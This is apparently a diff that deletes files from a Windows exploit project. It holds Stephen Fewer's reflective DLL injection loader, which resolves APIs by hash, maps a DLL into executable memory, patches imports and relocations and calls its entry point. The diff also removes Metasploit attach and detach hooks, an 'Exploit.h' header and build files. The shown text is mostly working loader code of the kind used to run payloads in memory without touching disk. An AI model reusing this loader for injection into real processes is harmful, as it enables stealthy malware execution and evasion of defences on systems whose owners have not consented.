uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA
|
||||
&& pGetProcAddress
|
||||
&& pVirtualAlloc
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
&& pVirtualLock
|
||||
#endif
|
||||
&& pNtFlushInstructionCache
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
&& pOutputDebug
|
||||
#endif
|
||||
)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
#endif
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume there is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||
{
|
||||
OUTPUTDBG("Loading library: ");
|
||||
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
if ( !uiLibraryAddress )
|
||||
{
|
||||
OUTPUTDBG("Loading library FAILED\n");
|
||||
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
continue;
|
||||
}
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
OUTPUTDBG("Resolving function: ");
|
||||
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
OUTPUTDBG("Flushing the instruction cache");
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -1,223 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
// Enable this define to turn on OutputDebugString support
|
||||
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||
|
||||
// Enable this define to turn on locking of memory to prevent paging
|
||||
#define ENABLE_STOPPAGING 1
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
|
||||
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||
#endif
|
||||
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
|
||||
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||
#endif
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD _hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -1,7 +0,0 @@
|
|||
#ifndef EXPLOIT_H
|
||||
#define EXPLOIT_H
|
||||
|
||||
extern "C" __declspec (dllexport) void testFunc(void);
|
||||
//extern "C" __declspec (dllexport) void RunIt(void*);
|
||||
|
||||
#endif
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by Resource.rc
|
||||
//
|
||||
#define IDR_RCDATA1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
|
|
@ -1,255 +0,0 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
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||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
